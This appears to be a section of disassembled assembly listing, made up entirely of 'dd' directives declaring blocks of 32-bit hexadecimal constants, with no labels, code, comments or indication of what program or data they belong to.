		dd 62F3741Ch, 0CA32AABBh, 2B7F1ECAh, 0F1C7E50h,	5B541D3Fh
		dd 9090CEFCh, 0DF7D62E1h, 0C2CD8207h, 0E2AFB754h, 66A9D730h
		dd 0D041685h, 0E8199510h, 106B881Bh, 0DC1F2B3Ch, 0E6F60E4Ah
		dd 0FC218A73h, 88869E65h, 0E6393984h, 0B919C144h, 1C12AC64h
		dd 9F7B5D1Fh, 319C7F52h, 77564387h, 6002EBEFh, 3632A1C9h
		dd 0ECF8C532h, 24571913h, 0C8E293FAh, 0CCE13D9Bh, 7FDC5554h
		dd 4CB82409h, 189C614Eh, 341EA16Ch, 9043B047h, 74F88426h
		dd 0F0928F3Ah, 63D8FEF4h, 0CE1EC805h, 0C1A6CB54h, 0AB414AFAh
		dd 4D81015Eh, 1DC977B0h, 4844D79Eh, 0AD1007B8h,	733E7966h
		dd 0DEBC7213h, 0B93E091Dh, 988471Bh, 528C06B5h,	0ADCD280Fh
		dd 0C649FBA9h, 4F72CBA4h, 76850D2Ah, 7F853C5Fh,	0A21FDBB7h
		dd 2CEDF43Dh, 6A71CE92h, 0F837705Eh, 1606BBFBh,	0FCD3F99Bh
		dd 0D8BCD041h, 0E6F4F252h, 0BF2368E2h, 62EC81DDh, 513EDC9Ah
		dd 3A7D0307h, 653A15CAh, 51BFAC7Fh, 0ADDCA398h,	76FB618h
		dd 5BAD3D13h, 6F174933h, 70E65279h, 863B78C3h, 46DCB171h
		dd 8F5CE22Ch, 6DEA5614h, 2FAB1F6Eh, 9DA64F1Dh, 3C6EDB2Bh
		dd 0D7D8415Bh, 3417C8ECh, 6B3825F0h, 0E0F6BD1Ah, 0C4A18E60h
		dd 0AA832F48h, 0E15C2D0Fh, 0CF04FF4Eh, 0B437E701h, 78858C90h
		dd 0C3FFB4FAh, 3F2D7C9Ch, 98219B29h, 8C0B166Dh,	0A8DD718Eh
		dd 0B1812942h, 804F0EE7h, 29943580h, 75BB3363h,	6002AF55h
		dd 4B4E32F9h, 5B1CF56Fh, 5E7B218Eh, 0AE14160Ch,	0F96468C9h
		dd 3A334C83h, 0E6576745h, 8F4687A7h, 42E8E5BDh,	26EFC559h
		dd 5E366FD0h, 0ADCE8447h, 2A341FC8h, 106AEF20h,	401946A2h
		dd 0B6ECBBF5h, 6F94C2CAh, 3160E2CFh, 734267Dh, 0E070D705h
		dd 93E20FEEh, 5E738087h, 11FD2768h, 0C87027Ah, 3E18BFEFh
		dd 0CFE5BFC9h, 49FA35B2h, 0BA8C2C60h, 0BA7692A1h, 7807EB0Eh
		dd 6C4478h, 0BDF277A8h,	2E8526FDh, 133B48B0h, 44D45886h
		dd 24CEA44Ah, 0C15E58EAh, 7B0DAA08h, 0A8FEB6BDh, 3E5DDC7Ah
		dd 2D102F64h, 76118288h, 4153DB61h, 80260246h, 137B3D8Ch
		dd 0E2C5283Eh, 0CF588970h, 1060B11Dh, 0A37ECA3Ch, 0A13F6057h
		dd 0CADE8045h, 869F4523h, 0CF639EC2h, 7CBB94Dh,	232B811h
		dd 64679CC0h, 4A1AA6BEh, 0FD4BE07Ah, 0A8CA3A44h, 0F7FE9F0Ah
		dd 0FB1E361Eh, 5627864Dh, 0AFF55EA5h, 54E9CAC5h, 4256C05Eh
		dd 0CD986CEAh, 0D0DB40B8h, 2428B831h, 0C071CECFh, 4CC5CF8Ch
		dd 6E00E30Ch, 98B8CB6h,	3C18DF30h, 94CB7AF7h, 36408B32h
		dd 64259972h, 27A3E762h, 84B8CAB3h, 0DE6A9581h,	29A1AF1Bh
		dd 2E8B1E72h, 2AE8594Fh, 74033744h, 0A9C13F2Fh,	0E8A8034Ch
		dd 0DFE808E3h, 0A85E022Ch, 0E5272019h, 74A9C6CCh, 0B1D47A3Eh
		dd 3551D1DAh, 0DCBFD159h, 35B8B5Fh, 46784AF3h, 0EA387AEBh
		dd 0CED7785Ah, 0C5AE69EDh, 87F5DECEh, 786D53DBh, 11F36F09h
		dd 82DFA204h, 0FF733CE7h, 31E21C40h, 69E545E5h,	5BFDFE9Fh
		dd 0A229B857h, 0CCACC767h, 49454FEFh, 0FA710A00h, 2C4E38F7h
		dd 5497FDB9h, 6EB135A9h, 4F1966Bh, 496CE7C4h, 0EEA164F3h
		dd 478841E8h, 8493E1A8h, 72360F34h, 6E72FCCEh, 0F13018FAh
		dd 14837A80h, 0AA05371Ah, 36893CC4h, 0E023DDA0h, 5DD9D6E8h
		dd 0F4803675h, 75CF283Fh, 7A9DAB26h, 0DE050630h, 78AC368Ah
		dd 5A09C817h, 0B9DDEF7Fh
		dd 3EE753D7h, 0D480311Bh, 82CABA1Eh, 12B51ACAh,	0C030FB02h
		dd 4D6425CCh, 0EEBBD970h, 94C99B0Ah, 7D48503Ch,	73868AC8h
		dd 728F937Fh, 82F2F6EBh, 4F1B36F0h, 0F14BFDAAh,	0B35AE48Ch
		dd 331C0009h, 0A8CAE971h, 34D6886Fh, 0FA6EFB91h, 858B5EA8h
		dd 0F8FFA88Ch, 0C3B12E4Eh, 64D3E3C2h, 259BC5FFh, 0CCC4C6C7h
		dd 0E0956C5Dh, 0CF072FA8h, 3F48A078h, 36ED8606h, 1DD8EBCDh
		dd 0A2AEB4FEh, 9E7191FAh, 3D634CD0h, 4DBE2653h,	0E9337398h
		dd 15F7E068h, 8AB43690h, 82957F3Bh, 8A9CA52Ch, 10753EA0h
		dd 0B710D5ECh, 5C30D792h, 70D64161h, 431742B1h,	0D45C59E0h
		dd 25ED4D80h, 0A408989Dh, 8F467F5h, 0E16DFAB7h,	576A8A73h
		dd 8C06DB48h, 30E27A12h, 0A4EA88C0h, 0A8CA3D86h, 545D19BFh
		dd 0A9EA0AE4h, 0D85651CBh, 0B5457821h, 0C62E1B3Bh, 578DDB40h
		dd 0ECAF02E8h, 0E51245B5h, 0DBA044D6h, 983A5E5Dh, 432DBB52h
		dd 0F63401Ch, 0D8D56667h, 0E5E2F67h, 7299747Eh,	0FBE7CA5Eh
		dd 4E889894h, 953E0B0Dh, 0CA694A7h, 249ED17Fh, 0ADC01BA4h
		dd 2C352D25h, 2BED077h,	0E008CDAh, 6C381B53h, 0D92243EEh
		dd 7D5FC467h, 0E043F5AAh, 0B093D564h, 0DBC3B85Bh, 0EAF4B8C9h
		dd 0DE3219D0h, 0B0E62FF8h, 0D5BB05CFh, 96BAFC2Eh, 2ABF6C72h
		dd 0EF0D3FE3h, 0EACCEDECh, 9DEFDAEBh, 0C7A2B26Ah, 8D405D1Ch
		dd 8770DF6h, 4CC30C35h,	0D37B6C73h, 8A50332Fh, 12A49698h
		dd 75532B5Dh, 4DFEFB17h, 4B5C4029h, 0C7703D00h,	9D9D3D6Dh
		dd 4099B648h, 37F39C9Fh, 0DB8121DEh, 2C409483h,	7C803D25h
		dd 0F8F160A6h, 0D2A16712h, 0B35CC2A8h, 0E6175AFEh, 0C7DBDB5Dh
		dd 0A2DDD7E4h, 0D96EDCBEh, 0FA24C10Dh, 0BF1C2Dh, 0B7A5E521h
		dd 988852A8h, 93733234h, 87E20084h, 0D14EF132h,	5EB763FBh
		dd 961DC098h, 1AD22220h, 554ABE74h, 0CC5FB9Ah, 92A657C4h
		dd 0D34443E0h, 905579C6h, 8E3D4AE1h, 0FBEA1AD6h, 0C8E3A3BEh
		dd 40F68561h, 0BAE67C90h, 53D556h, 0B1FDE3FDh, 8480FF32h
		dd 0C74AE314h, 4E2FAAB8h, 2302AD97h, 0C1F47F64h, 0BF9E1A4Eh
		dd 7267BD07h, 0B2D635CAh, 35FE3BDCh, 58D164D1h,	666FD813h
		dd 0B464210h, 0AD1AAFE6h, 0BFBA3B50h, 0BFA7A677h, 0CCB90CB1h
		dd 225C2268h, 9F1C3628h, 295A8FADh, 0C80ECB6Eh,	4FA37FECh
		dd 12B38C85h, 0AC3B8379h, 4E0CE9BCh, 0BAAC9777h, 61C3331h
		dd 0BAEF88A7h, 9BA49A1h, 22927872h, 4322989h, 5E15536h
		dd 1FDC2EACh, 870F0A2Fh, 2F079F9Eh, 69FA9B7Ah, 1AAA7B93h
		dd 28E5B349h, 0B2564EEh, 276A0C61h, 1F5C1D27h, 15916B1h
		dd 69AC1E4Eh, 0ADA2776Dh, 28065943h, 4BC56CEAh,	0D48F61F3h
		dd 2A416FC6h, 5D885DE3h, 993A1327h, 7982D292h, 0D8415DDBh
		dd 4A2F4C7Ah, 6E823C72h, 0C644682Fh, 197DA368h,	0DB08EBB8h
		dd 2D6395EFh, 91CED922h, 489A1Fh, 6A480C85h, 1DC634A0h
		dd 0A401EEB2h, 0ADE417E8h, 0CEF45E57h, 7A9F098Ah, 3377B015h
		dd 93E3BF14h, 82B778C5h, 0D8EC40F4h, 9FC88AE1h,	0C3D61BD8h
		dd 3F7EA06Fh, 2D01CFC0h, 17FC474Bh, 0B55A2CAAh,	0C72FF0C2h
		dd 0AFE76B67h, 3D89EE24h, 0F15762C8h, 247E8473h, 13D928EFh
		dd 106B2670h, 0E3CF5B6Fh, 6E8DFBC5h, 0FA4D5B28h, 4EE66D89h
		dd 0CB58052Ah, 19A54864h, 0F8C655AAh, 0C22B36Dh, 4E485420h
		dd 0AFBF428Dh, 20DD30DEh, 0AD7D25A8h, 84F22705h, 0A0FA6C1Ch
		dd 0AE0702DFh, 844B7432h, 45C51C70h, 80525E12h,	0AD9343BDh
		dd 5FB8F7D3h, 95DB10D5h, 98297649h, 4C32DFBCh, 0AC7EB2ACh
		dd 0C7337857h, 0CE9269B0h, 8FAB42BAh, 1A1CA0FBh, 994F5993h
		dd 0AF5BBF86h, 5F3B31C4h, 0E8803E30h, 20E06BEAh, 158C356Ch
		dd 0EF4F2C8Ch, 3F243B80h, 1039CA29h, 3ABDD994h,	59AC2BECh
		dd 24E4ABCBh, 0F00F4175h, 4ECB2E58h, 873BACABh,	0F94759C1h
		dd 2ACE457h, 0BE20B9C4h, 9CBCE21Fh, 607F18F8h, 0B320A05Ch
		dd 0C6AE6F4Bh, 0FD1290Fh, 9494F3C9h, 0EE5905ECh, 481EF9C4h
		dd 7BDB180Dh, 50520577h, 0E0B3AA34h, 0FF81B4C2h, 6A59E2E0h
		dd 0CC856FAEh, 0A4717270h, 0BDA21DEBh, 0AFBDC14Ch, 655C5C09h
		dd 0C70138C6h, 0DA43C8BAh, 10A8C534h, 5C189CB4h, 0AC5A4728h
		dd 267643Bh, 1AB5DF1Bh,	0F036A742h, 6A7616B9h, 0B654FD3Bh
		dd 337B8ED1h, 0CA300043h, 61792771h, 4E0E345Eh,	1E499122h
		dd 0FC53B9CEh, 0CDBBADFDh, 0DEA89D8Dh, 4B13BBh,	7C790B89h
		dd 0DB57AA08h, 95BB817Fh, 0C62657A6h, 0DBA405B5h, 0DDA6DE7Ah
		dd 0C6F2164Ah, 0F0CD1C19h, 70636F9Ch, 6C6552DEh, 4BA32BB1h
		dd 0CAD0C573h, 58FC800Fh, 0EA36D960h, 2E96BA71h, 0ED644699h
		dd 68DAE046h, 6EF712B5h, 80B936CEh, 50364DEDh, 0A9E317C7h
		dd 0B991E158h, 7DC258C1h, 28EE3CB8h, 3D83A53Ah,	0D3BC13E6h
		dd 966EBC4Fh, 0D8EC90C7h, 0B693481Ch, 0F331C73Dh, 3A0292A9h
		dd 0EB9C748Eh, 0CC46A295h, 24202DD8h, 0D8D8172Bh, 95A66F6Fh
		dd 46A605BCh, 697F48CFh, 6D3C3979h, 75170721h, 45B39C21h
		dd 928A928Eh, 8759515Dh, 36810D46h, 6A9FA751h, 214591B8h
		dd 898DB3ACh, 0EF01914Ah, 0FA32F51Fh, 620FDB2h,	0DD78C53Fh
		dd 310C4DEDh, 0DE031082h, 0A2B08B4Bh, 0B4E93BCEh, 7A963484h
		dd 21F439EAh, 0DAACA06Bh, 0DB4CE77Ah, 15382977h, 3F4E9FD0h
		dd 7217700h, 826F39F8h,	4CE0A046h, 0EE18100Ah, 8781D740h
		dd 0B914ECD3h, 46B40671h, 3742C110h, 56E4C2BBh,	0A29BA982h
		dd 0FCF577Eh, 66C7D0C4h, 8F3FBED4h, 32E61675h, 89209BD4h
		dd 27A2D835h, 29F8C663h, 48248137h, 5D8C142h, 0F289C6E4h
		dd 0E4F5129h, 0F61CF994h, 1FCA0114h, 0D59185E6h, 7C4F0088h
		dd 0D556BD2Eh, 0DA612512h, 0B19A3427h, 20A74280h, 596C78C9h
		dd 0C22A72F7h, 58F750BFh, 8D1FDE56h, 0D0C88A57h, 579DAE50h
		dd 14687D98h, 6ADA5133h, 0AB14FE82h, 418BDF22h,	0FC5EBA8Eh
		dd 55E4699Ah, 0CCE6AB07h, 64EEA09Eh, 2261ED5Eh,	0C2C72DCEh
		dd 685A2330h, 0E60D9B57h, 6C7A9A81h, 6161B5B2h,	0EDE53450h
		dd 932FD178h, 0F150CDA8h, 992412BBh, 0FA7C9FEBh, 0DA2978E2h
		dd 334BFFADh, 5A033B66h, 1BE289B7h, 49E4E281h, 31AE3CFBh
		dd 0A2B657Ah, 0C67F49CDh, 0F6BA1CF9h, 54DE6D42h, 0CBE3A643h
		dd 642E3127h, 0C00613C4h, 0D5054Dh, 9E3E19FDh, 0FBC3B7Ah
		dd 0E3362FE0h, 38AD20Fh, 0EF84E94Eh, 996333E2h,	0B19CAFB0h
		dd 0AE73907Fh, 0C05871D5h, 0FE62334Fh, 8889882Dh, 0A3398B88h
		dd 0F9139ABCh, 0B8238FC1h, 0D2D306DBh, 55524D42h, 0CD1FAE15h
		dd 0F81479F9h, 647DA5B7h, 6D25E306h, 0F0878B74h, 694352C5h
		dd 0B98562E4h, 0B570CD28h, 66761A7Fh, 0BB430570h, 9A1A37A9h
		dd 0F8419973h, 1638C964h, 0FCF0DF35h, 9263542Dh, 855A4A72h
		dd 3CABBFCDh, 0A7740E41h, 9F100361h, 0AF1B2488h, 4E39979Bh
		dd 79E61192h, 0CC032DD6h, 0DD643CA9h, 849F024Ch, 0EE170921h
		dd 4642D93Eh, 34733475h, 183FAF8Ah, 453FE2F8h, 837D3C50h
		dd 7C02BFFh, 0F0B75A69h, 5DE30DA2h, 0E9F95FA0h,	6CC8C30Bh
		dd 0F36F3DBEh, 19708535h, 0D8397918h, 7B462C70h, 94066E1Ah
		dd 8F2B96AAh, 25BDCBDAh, 598A4783h, 4721BFCBh, 0D946CC89h
		dd 0BCE0D52Ah, 0F6C14B80h, 0F5E7BEC0h, 2E693DA6h, 0CD918614h
		dd 1D5B0475h, 24DBF41Ch, 6477366Ah, 801F3077h, 0B707B365h
		dd 0F4DD2E72h, 0D2BAE027h, 2FBB064Fh, 93B2CCDh,	789EC9F9h
		dd 41011D11h, 8F3348B9h
		dd 5C000437h, 4859C68Bh, 0E31B7C20h, 1B075764h,	0A2646205h
		dd 9681A60Eh, 0D7F4335h, 242CC337h, 0D340DD41h,	17114471h
		dd 0D738D301h, 2BF80EAh, 4C22F1DFh, 5F593818h, 41A0CABDh
		dd 913F6EB8h, 1EB21EFAh, 939C5529h, 24C4E3DEh, 0B5A60B30h
		dd 610A36A7h, 0B446601Bh, 29A8605Eh, 0EA9F1769h, 62A99E8Ah
		dd 976AC03h, 7FC878FDh,	867453C6h, 58B9D0A7h, 0BF810BE0h
		dd 7E73C9EEh, 779F8860h, 351DC629h, 8631FEDh, 4BDBD704h
		dd 0FD21A511h, 3E35AE90h, 2F884EFCh, 9CFBD15Ch,	0E25E8A45h
		dd 4377177Ah, 68C5A00Fh, 0F5752883h, 68138C81h,	3FF300B5h
		dd 0C9CCF5C3h, 2FD731DCh, 3B6F3F0Dh, 7E323BBFh,	0E189B21Fh
		dd 39B77821h, 2C7F39FDh, 8AABA02Ch, 1A66A978h, 0B188258h
		dd 6780DAE8h, 0C81535D8h, 0D23FA815h, 65DBA03Ah, 0D9FB9CA7h
		dd 6DB92FEFh, 3B2FD80Eh, 836FFEBEh, 88D95287h, 33D78839h
		dd 0E65F0F33h, 0E7D1FDB4h, 2DE2D476h, 7F0FF11Dh, 2AE00050h
		dd 50E19FF7h, 443ADD99h, 12BF110Dh, 0A9CCD083h,	0FE7F1062h
		dd 75F664E8h, 51B2FB09h, 9B37237Eh, 0BFC5EE07h,	0AE78422Fh
		dd 777638BEh, 0E3F72649h, 0ACF32395h, 0F139AF13h, 9A9C8EC8h
		dd 38B86FF4h, 0E785B6C1h, 803D6BE6h, 8FCA7083h,	1577EDEBh
		dd 629940FEh, 7B4D4FE1h, 63943727h, 0BBBF85CFh,	0C7801C4h
		dd 24B272DCh, 770F0E82h, 4CED9E7Fh, 0CC6DADB0h,	169D6EECh
		dd 2ABB7D5Ah, 330BAD37h, 0ACC0615Ah, 56BC852h, 0C20BE4B2h
		dd 1D370B72h, 63584C89h, 75941620h, 44684FF9h, 0FD651C3Bh
		dd 255CB3B7h, 8B0D2964h, 0C15230E4h, 0D47C3FF9h, 107B1061h
		dd 0CB60AB71h, 6104D722h, 67E0D4C3h, 0A910E043h, 3FEA221h
		dd 0BCE1AD47h, 62CC9983h, 0BB959B38h, 9225B57h,	7FD52DFEh
		dd 0A60E5D0Fh, 0E8E59CCh, 6E569FBBh, 0FA2C197Bh, 93480B61h
		dd 5ED3DA1Dh, 0FEAC2D68h, 6970CCFDh, 31D5F073h,	0F64C039Ah
		dd 0F422BB25h, 0A1289316h, 0BB67D9F4h, 79605B69h, 0C978F684h
		dd 470B41D5h, 712E8483h, 7E274FBEh, 3D2D9DFDh, 2249A27Fh
		dd 96EE40A1h, 0AF54B721h, 6F84A03Dh, 2F18B450h,	5118F1BBh
		dd 0AF233956h, 17E9F1F3h, 3997A830h, 0DF51752Eh, 0A659B58Fh
		dd 9624826Ah, 58523C45h, 6C13969Eh, 0E028AD5Eh,	2B672D1Bh
		dd 0B955F6AAh, 51B499D3h, 9FD12B0Eh, 32084CD0h,	9242F9ACh
		dd 4C51C141h, 7E650AD8h, 73F34387h, 3C78533Ah, 3AFEA7EAh
		dd 613BA45Bh, 0EF1B7BDFh, 415E04ACh, 0E6D4143Ch, 932425FAh
		dd 29DED879h, 866374E8h, 0E7990C73h, 0CEF68517h, 4573A612h
		dd 78703536h, 21EAEECCh, 48634B33h, 116FCEC4h, 897A95CDh
		dd 7E43E7EDh, 4735BE4Dh, 2E672E4h, 24CE297Ah, 19C516F6h
		dd 0CDE277EAh, 6F45B004h, 0F18AA94Ch, 7BAE4D21h, 2223DED3h
		dd 69FA2006h, 7BFA1C81h, 707FBA3Ah, 0ADBA8986h,	0AF7D67CAh
		dd 0CDF7A814h, 6F60C216h, 0A55BA4F3h, 450979E7h, 0BA105549h
		dd 0D533CB01h, 0C069ABAFh, 0D9EFD21Eh, 5899C3A8h, 0CCF41401h
		dd 7668E4F8h, 0EDAEF29Ah, 0E370086Fh, 90091686h, 3FC3E5FFh
		dd 5FEAAA15h, 64988DCh,	0B9CFC8D8h, 0AA91C84Eh,	4DD5BA18h
		dd 0A2C72E5Fh, 0D62F3A56h, 95882180h, 0F33E1813h, 0FB7A66Fh
		dd 0F3E0AA5h, 23477527h, 4BFC2126h, 0B1E453CFh,	0CBF78130h
		dd 0C55819A3h, 0CA19D133h, 0BB47A2DEh, 3E06EC47h, 5C24F71Fh
		dd 65333CAFh, 0D4C16AD2h, 0C42EDB43h, 0A37B6B11h, 0BA15CB81h
		dd 0C3E22E69h, 0C5C95823h, 730D0EF4h, 3DFCE8B2h, 0D0EB78C0h
		dd 275580F7h, 4F799184h, 8A0CD5FFh, 0BF39E948h,	0FD873F94h
		dd 15FBA040h, 93A3208Eh, 0FBC46EEFh, 4448261h, 7CE85B50h
		dd 0DD48E14Ch, 0B15734CDh, 26D7DE57h, 4A7F57D3h, 65FD2433h
		dd 93C0A93Ch, 6F25BE3Fh, 557FFB1Bh, 859F2F4Bh, 968C631Dh
		dd 308C4181h, 0CA58C901h, 0BA260C82h, 9BB3F172h, 4E11E91Fh
		dd 785173ABh, 0CD069EF3h, 29E4BF45h, 962DA0Fh, 5B00B6CFh
		dd 1ED7EBBCh, 15714FD4h, 0FB5BA8ADh, 19DA1B51h,	81F7304Bh
		dd 0C98E4A1Ch, 0BE0FE328h, 9CB07E9Eh, 285DE421h, 76CD204h
		dd 0C3FCFE6Dh, 6FBDD7D8h, 0C212AEEEh, 0DF5C7A5Fh, 57985711h
		dd 185B9565h, 82F03173h, 0AA6DDA9Ah, 146E7F22h,	0B924D8C1h
		dd 95B4C298h, 3A4D4A6Ah, 88FAF505h, 12A05B6Ch, 967CE7D5h
		dd 0EB145709h, 0E3C45195h, 2F33FC9Fh, 8587355Bh, 0B1DA3F6Fh
		dd 4B2145F9h, 8236C592h, 98AD7EEBh, 0E43F476Bh,	736CB9CAh
		dd 5BF6D0E4h, 69F3CC10h, 498E9BD7h, 441A239Ch, 0E1BDA4D9h
		dd 4B1120B5h, 6688BF4Eh, 0F9288AEFh, 0B6299DA9h, 76B8D6ACh
		dd 0F1DD78F1h, 0D7E17E26h, 831D73FAh, 990B1B3Eh, 0E3402303h
		dd 1B2D06F0h, 9EDABE0Dh, 0E4E5F97h, 1DCCF142h, 5F267E09h
		dd 3A1C0D23h, 0C0DF9C1Ah, 0BF2E836Bh, 0C8EF5DF2h, 78121F42h
		dd 28D01992h, 332AE818h, 9D9917FFh, 2D02C76Eh, 876D93B0h
		dd 0AED687A0h, 6BE58B09h, 24AED964h, 58A377BFh,	2A7492EBh
		dd 0A445A78Bh, 71A16E40h, 32035018h, 9026CDC2h,	0C0A04640h
		dd 17AB0AB9h, 9C4000C8h, 19316612h, 341EC13h, 92C464DBh
		dd 0FE05F062h, 0E719E4ACh, 22C501BFh, 967715A1h, 0C8E61C23h
		dd 4E2ADA18h, 42E01101h, 0D2432FC6h, 4C5063DFh,	0BEE5EE56h
		dd 63EEB3D0h, 0B410A00Ah, 9E637997h, 623B0A9Bh,	8A26C784h
		dd 13C6BAE3h, 68B7D448h, 0F015C4F1h, 27668151h,	4AD31AB4h
		dd 277A45B9h, 4423F0ABh, 0E7204B04h, 88696680h,	6B827DF0h
		dd 7B0CF7C2h, 0A73FD806h, 4115E22Ah, 0C5F807B3h, 0D92D5F02h
		dd 43AEBC91h, 0FC94E411h, 4E99FA2Ah, 65631E0Dh,	4AEC37D5h
		dd 4F650A8Ch, 4A67CE0h,	0B44F40C3h, 86ECE0C8h, 0F160B80Dh
		dd 957845AFh, 0C13922D5h, 0D27D2662h, 293812C0h, 0BB1D19D0h
		dd 4734271Fh, 0B059F487h, 885AA14Bh, 0FC845A0Eh, 0FA287E70h
		dd 950D589Bh, 0A5EA2A51h, 10BA5AD2h, 16652C43h,	0F3BC5C4Fh
		dd 0CF287868h, 0B00C40E6h, 0E6C42AEh, 4B5E80D1h, 0BE5DD963h
		dd 58894AD0h, 19DC399Eh, 0B127E894h, 25631FD0h,	70B98A6Eh
		dd 74288430h, 7843C5D9h, 3F5C91D4h, 0D324C318h,	6A105D0Dh
		dd 0ADA33ABh, 1098F19Dh, 7DD6F2B8h, 11821C68h, 0E093F4D7h
		dd 0A704C40Dh, 21AA2D68h, 912EF1E0h, 94ECBE08h,	2F279D5Dh
		dd 93C34096h, 2C0770C7h, 4DC1EF87h, 35827F4Ch, 9FD51A07h
		dd 77A088C6h, 0E44A3DDh, 3A9C823Ah, 7ECAD563h, 3B2013Fh
		dd 81013556h, 784A766Eh, 5AAE2A49h, 7FB64B8Ch, 3B3D729Eh
		dd 204999EDh, 0B0E3B004h, 49DAC924h, 14C1D308h,	0B102F4EEh
		dd 7CD91499h, 2D1452D2h, 0B3085E5Eh, 2FA701D5h,	5A1B9EA5h
		dd 0B8AC2A0h, 6B4B66B3h, 7770879Eh, 0A269B2A7h,	82CEE4FAh
		dd 0B24B1A35h, 98275FF6h, 0FC1F0A7Bh, 0A6C65715h, 84892D80h
		dd 9D4E6FBDh, 0EB098FF6h, 42CDDA8Ch, 0C7572595h, 50201A99h
		dd 0AD2068ABh, 0CDA5B835h, 8A6FBAA5h, 0D84106A3h, 80A30505h
		dd 82CBF87Bh, 0CB9F1083h, 910099CEh, 0BF83E110h, 8F49B005h
		dd 0C3261F6Ah, 0C95BADCBh, 0AF780722h, 2E8AE952h, 5F7BF9C7h
		dd 75C70C1Ah, 1743062h,	1EE19087h, 0E3CF828Eh, 0D5230A16h
		dd 8DBDFC35h, 0F325C588h, 0B1ECD3C0h, 0BD7DFB88h, 731C7491h
		dd 30097A5Dh, 0C0DCEF8Ch, 753E003Bh, 0A84617F6h, 0C53274E1h
		dd 0C00D093h, 0BD1F29D2h, 0A42F2305h, 3A8375FBh, 821D4688h
		dd 0BD21793Ah, 0A4DFF825h
		dd 85AE8D81h, 764507FCh, 0BDA9FDA6h, 5E0AD8FFh,	6D4F9D57h
		dd 4679B626h, 26A005DAh, 0E29F166Fh, 41F54E4h, 545F7C11h
		dd 5345139Eh, 6848F457h, 0C2787296h, 9AB20E2Dh,	76227B66h
		dd 651E4B6Dh, 7B9EEA6Ch, 0E8BC084Dh, 6D73A5FAh,	0D42AB99Ch
		dd 0DB9EAE32h, 0A1C5FFE1h, 4BC07D9h, 7E3575F0h,	0BC781BAFh
		dd 0FE471126h, 0B01948F5h, 0E1655D11h, 0A50D41F3h, 7463B2ADh
		dd 0B324B9E8h, 14650B6Fh, 0A6061FD1h, 0ACF1CB8Ah, 0BAD04117h
		dd 770A5DAh, 0EAB345E4h, 0A5516CCCh, 4B5C517Bh,	0F797077Fh
		dd 0E06D9E06h, 35EF915Bh, 0EEA8418Fh, 37369998h, 6D17207Fh
		dd 0B5F7E0D7h, 0CD7A2172h, 47849859h, 74C7A894h, 0E2CBF2C4h
		dd 0DC914DB7h, 3F37B9B5h, 0FBAF9CC2h, 0F03CA9D5h, 50DA645Ch
		dd 67A697B9h, 0EA899926h, 0A6DCA5F7h, 673BE158h, 0CC51F555h
		dd 0DCF00F4Eh, 9344B686h, 0D894CADEh, 9D9FC238h, 0C032DC60h
		dd 10985EC0h, 569115A0h, 18584864h, 9A0A968h, 81A92F25h
		dd 0C05E6168h, 0CCDEE79Ah, 209A2CA1h, 1C4C7455h, 5269696h
		dd 4B165400h, 7945B4Dh,	106520B1h, 9D475A39h, 568E293Ch
		dd 9813590Fh, 0A22D5383h, 0CAB6964Ah, 91C57AB1h, 0EBE30B9Ch
		dd 992A2612h, 8E2721F7h, 95E22CE0h, 4B50C9D8h, 0FBADE7E3h
		dd 0CDCA3933h, 0CA721D2Dh, 1A70EFD1h, 0DBADE344h, 3233A957h
		dd 0CA443167h, 5D62925Dh, 0DFF189DFh, 96AD8EE5h, 0F1CDE55Ah
		dd 9EDFFBBBh, 0B0D91F8Ch, 0C5BEAF2h, 575E0F4Fh,	4DE123FEh
		dd 0EB43449Dh, 711E3890h, 56599A75h, 8CE59DA9h,	28D4CAE1h
		dd 7B56D1B4h, 0A46A2713h, 0A94D6859h, 1401482Ah, 0F65967EAh
		dd 888C9AAEh, 7530D6A1h, 0EAD82B3Ah, 27355BACh,	0EDA72A4Ch
		dd 9396C915h, 0E48B8F69h, 5CA6F3AAh, 43701748h,	12FAE9E9h
		dd 3A66D98Fh, 7B20A832h, 3A2832Bh, 1965C9F0h, 0AFCAFDCCh
		dd 7AA7AEDFh, 0D12CC10Ch, 0F44B3E08h, 0D02978C1h, 7628279Ah
		dd 13BDEE7Ch, 1772E0BDh, 6E4456FCh, 0D932AB25h,	410007F5h
		dd 4360C0E2h, 34A2BD5Dh, 0FFB56591h, 0FFF7F2ECh, 0D82579BCh
		dd 52F57BB4h, 5510B620h, 3560C12Dh, 19B791D7h, 59F3BDD6h
		dd 9DC6FE6Dh, 2FA84B6Eh, 583D60BDh, 0B2E63193h,	677A4A42h
		dd 0C2C4A621h, 0F8CCF571h, 1DA7833Ch, 78DAF902h, 0BE2BB421h
		dd 0F334A7B7h, 0E26CAAEBh, 0D1FF73E3h, 7BC5911Bh, 0B906000h
		dd 6E085F97h, 1B98AB29h, 18AE8968h, 0CDDA7A49h,	6F884CDh
		dd 0CE74A30Eh, 0D1CE2841h, 0C0A1C4E9h, 0FC3A21E6h, 35305B6Dh
		dd 0A87797F6h, 1D43E87h, 0C1376B4Dh, 0EF3B6C77h, 16BD99Bh
		dd 0CB22BB5Fh, 0D0D71310h, 2C3F70B6h, 2B6849F5h, 3205987Ch
		dd 995B4C55h, 0ED38F2F3h, 3A6ED043h, 1AFD16A1h,	0DEFB0B18h
		dd 1A84D30Eh, 56D488Dh,	9684496Fh, 8712B207h, 6E1B2542h
		dd 0D395598h, 9A8F053Eh, 0BF299B67h, 6A7FA334h,	318C7608h
		dd 207F64C8h, 6E46144Ah, 0BFA48B3Ah, 6A35367Dh,	0E18FDD0Bh
		dd 68311DE3h, 0E20F41C8h, 0A10EFE46h, 70C05558h, 0A040FCEh
		dd 574FD563h, 0ADC0F68Ch, 22C037D5h, 21C648h, 0A2EE7A33h
		dd 0AB627E88h, 0E1EEB4D8h, 0C0A1029Dh, 42B41327h, 5ADC5371h
		dd 121835CAh, 0A2154ECCh, 0A9F1C25Dh, 794982BAh, 4718BC64h
		dd 0BD1E92B7h, 0B7600E6Fh, 2B195F88h, 8F34C5D2h, 9A6B4397h
		dd 0C2B1B1F5h, 445C3630h, 6527883Dh, 3368BB90h,	78B213E6h
		dd 0CDD14F3Bh, 5E3A3323h, 0DC20C55Eh, 0A94DB63Fh, 66D40CB3h
		dd 9430D0E1h, 11E72FB7h, 0E6061F35h, 1E5EB282h,	415FF6FBh
		dd 0BF1D04A8h, 4C63A9CDh, 641474E2h, 0CCFFCEBAh, 0E7EE0389h
		dd 0AC059A81h, 0D0EFE651h, 2079735Dh, 0A6E78BA6h, 0AE4E8BE9h
		dd 0DECA26CFh, 0D3840D1Eh, 5C2E574Ch, 0DD5FD05Dh, 0EB00C321h
